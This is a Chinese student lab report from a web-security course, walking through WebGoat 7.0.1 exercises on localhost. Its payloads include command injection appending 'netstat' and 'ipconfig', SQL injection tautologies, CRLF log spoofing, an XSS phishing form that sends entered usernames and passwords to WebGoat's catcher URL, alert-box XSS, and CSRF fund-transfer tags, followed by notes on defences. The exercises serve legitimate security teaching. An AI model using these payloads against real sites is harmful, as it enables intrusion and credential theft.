标签:exp 服务 安装 script new site password 默认 require
安装jdk1.8版本,安装成功:
下载webgoat-container-7.0.1-war-exec.jar
,然后输入 java -jar webgoat-container-7.0.1-war-exec.ja
r 开启WebGoat
开启成功:
在浏览器中输入http://localhost:8080/WebGoat
进入WebGoat
登录界面,直接用默认用户名密码登录
在左侧菜单栏中选择Injection Flaws->Command Injection
,在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改,添加"& netstat -an & ipconfig"
修改后再次点击下拉框旁的View,如果可以看到执行指令后的网络端口使用情况和IP地址—>攻击成功
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,选中的城市编号Value
值中添加or 1=1
点击Go!
显示所有天气数据
在User Name输入5228%0d%0aLogin Succeeded for username: admin
,登录
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度限制改为100;以用户Neville(admin)
登录,输入密码hello‘ or ‘1‘ = ‘1
原理: 当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容,但被攻击方很难发现该内容是否存在威胁。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat,将这段代码放入search框中
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
如果在登陆框中输入自己的用户名和密码,点击登录,用户名和密码被窃取,会显示在页面上。
在title
中输入任意字符,留言板中输入<script>alert("I am 20175228. You‘ve been attacked!!!");</script>,
点击生成的message
,出现提示。
在Enter your three digit access code
框中输入<script>alert("You‘ve been attacked!!! I‘m 20175228");</script>
在文本框中提交一个含有转账恶意请求的代码,<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=104"/>
点击生成的message:
查看页面右侧的scr和menu值分别为281和900
titile框中输入学号,message框中输入代码
<iframe src="attack?Screen=281&menu=900&transferFunds=CONFIRM"> </iframe>
提交:
(1)SQL注入攻击原理,如何防御
原理:通过在登录框中输入一些特殊符号,通过注释掉一些sql语句,构建永真式,来实现登录操作或者显示登录者信息的操作。
防御:在代码中控制Maxlength,或者禁止输入一些特殊字符;
使用Java中的绑定变量,对SQL语句进行预编译,而不是顺序执行。把输入作为一种变量进行处理,就不会在运行时进行动态的拼接SQL语句;
对数据库设置访问权限。
(2)XSS攻击的原理,如何防御
原理:将一些恶意html标签或者javascript脚本插入到Web页面中,利用用户对网页的信任,执行一些恶意代码。
防御:使用者提高防范意识,不随意在未知网站输入个人信息和密码;
对输入和URL参数进行过滤。
(3)CSRF攻击原理,如何防御
原理:冒名登录,在正常访问受信任网站时发送信息至另一网站,另一网站利用所获取到的信息冒充用户对受信任网站提出请求。
防御:增加验证环节;
不使用通用的cookie。
这次实验的实验内容虽然很简单,但包含的攻击方式却让我切身体会到了我们在日常上网中所遇到的信息被窃取的高危风险,平时为了方便选择保存密码,却有可能被窃取到用户信息和密码,还有其他不注意的操作,都让我的用户信息暴露在了危险中,而这些,并不是简单的提高防范意识就能防御到的。
2019-2020-2 20175228 李玥琛《网络对抗技术》Exp9 Web安全基础
标签:exp 服务 安装 script new site password 默认 require
原文地址:https://www.cnblogs.com/20175228lyc/p/12974989.html